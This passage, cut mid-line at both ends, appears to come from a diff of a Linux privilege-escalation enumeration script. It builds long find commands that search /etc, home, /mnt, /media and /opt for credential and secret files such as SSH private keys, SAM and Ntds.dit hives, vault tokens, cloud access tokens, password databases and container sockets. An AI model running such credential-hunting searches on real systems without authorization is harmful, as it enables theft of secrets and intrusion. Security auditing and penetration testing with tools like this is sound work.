-o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_ETC=`eval_bckgrd "find ${ROOT_FOLDER}etc -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \"*knockd*\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"exports\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \".roadtools_auth\" -o -name \"credentials.xml\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"ssh*config\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_LIB=`eval_bckgrd "find ${ROOT_FOLDER}lib -name \"*.socket\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" -o -name \"rocketchat.service\" -o -name \"*.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_LIB32=`eval_bckgrd "find ${ROOT_FOLDER}lib32 -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_LIB64=`eval_bckgrd "find ${ROOT_FOLDER}lib64 -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_MEDIA=`eval_bckgrd "find ${ROOT_FOLDER}media -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_MNT=`eval_bckgrd "find ${ROOT_FOLDER}mnt -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_OPT=`eval_bckgrd "find ${ROOT_FOLDER}opt -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name 